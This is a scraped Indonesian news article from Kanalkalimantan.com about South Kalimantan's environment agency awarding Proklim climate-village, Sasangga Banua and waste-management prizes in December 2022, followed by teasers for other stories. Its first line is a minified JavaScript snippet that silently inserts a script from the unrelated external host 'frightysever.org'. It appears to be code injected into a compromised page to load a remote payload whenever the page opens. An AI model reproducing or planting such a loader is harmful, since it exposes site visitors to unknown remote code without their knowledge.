(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Lingkungan Hidup (DLH) Provinsi Kalimantan Selatan (Kalsel) memberikan penghargaan Program Kampung Iklim (Proklim), Sasangga Banua, dan pengelolaan sampah berbasis masyarakat se Kalsel, Kamis (29/12/2022)
Kepala DLH Kalsel, Hanifah Dwi Nirwana mengatakan, Kalsel berhasil memperoleh peraihan tertinggi untuk Proklim, setidaknya lebih dari 100 Proklim yang terdapat pada Sistem Register Nasional (SRN) Pengendalian Perubahan Iklim (PPI).
“Kita berhasil mendaftarkan 147 desa Proklim,” ujar Hanifah Dwi Nirwana di halaman kantor DLH Kalsel komplek perkantoran Setdaprov Kalsel
Dirinci Hanifah, Kalsel memiliki 2 kampung iklim lestari yakni Desa Jaro dan Desa Kambitin Raya yang kedua kampung itu berada di Kabupaten Tabalong. Kemudian 7 Proklim tropy utama terbagi di Kabupaten Banjar, Tabalong, Balangan, Tapin, Tanah Laut dan Kota Baru.
Baca juga: Libur Tahun Baru, BMKG Imbau Masyarakat Agar Tidak Berwisata di Pesisir Pantai
Kemudian, 30 Proklim sertifikat utama, 80 Proklim madya dan 22 Proklim pratama. Selanjutnya 5 kabupaten/kota juga mendapat penghargaan pembina Proklim yakni Balangan, Kota Banjarmasin, Hulu Sungai Selatan, Tanah Laut dan Barito Kuala.
“Pemerintah Kalimantan Selatan mendapat penghargaan sebagai pembina Proklim oleh Menteri Lingkungan Hidup,” ungkapnya.
Kelebihan Proklim ini merupakan bentuk adaptasi suatu desa terhadap perubahan iklim. Adanya aksi Proklim ini masyarakat dapat mengantisipasi bencana yang diakibatkan perubahan iklim, terbangunnya kesadaran lingkungan, dapat mengelola sampah dengan baik dan dari sisi ekologi dapat mengatasi persoalan pencemaran tanah, udara dan air.
“Ini hanya contoh kecil dari aksi ProKlim,” sebutnya.
Pemprov Kalsel juga memberikan penghargaan Sasangga Banua kepada penggiat dan pelaku yang berusaha melestarikan lingkungan hidup di Kalsel. Kategori perorangan diterima Kosim dari Barabai, kategori kelompok diterima bank sampah limbah dan kategori pemerintah diterima Pemerintah Kabupaten HSS.
“Kami juga memberikan apresiasi terhadap pengelolaan sampah kepada beberapa bank sampah,” tuntasnya.
Gubernur Kalsel melalui Plh Asisten Administrasi Umum, Subhan Nor Yaumil menyampaikan penghargaan ini mampu meningkatkan kecintaan dan kepekaan dalam melestarikan lingkungan.
“Dengan adanya penghargaan ini, semoga masyarakat lebih mencintai lingkungan,” ujarnya.
Proklim ini, kata Subhan, ditujukan agar masyarakat lebih terlibat melakukan penguatan kapasitas terhadap dampak perubahan iklim dan emisi gas rumah tangga.
“ProKlim ini merupakan bentuk peningkatan kualitas peningkatan lingkungan hidup, masyarakat berperan sebagai ujung tombak,” katanya.
Penerima penghargaan diberikan bantuan berupa uang tunai, kendaraan roda tiga, bak sampah dan alat pencacah plastik. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
This website uses cookies.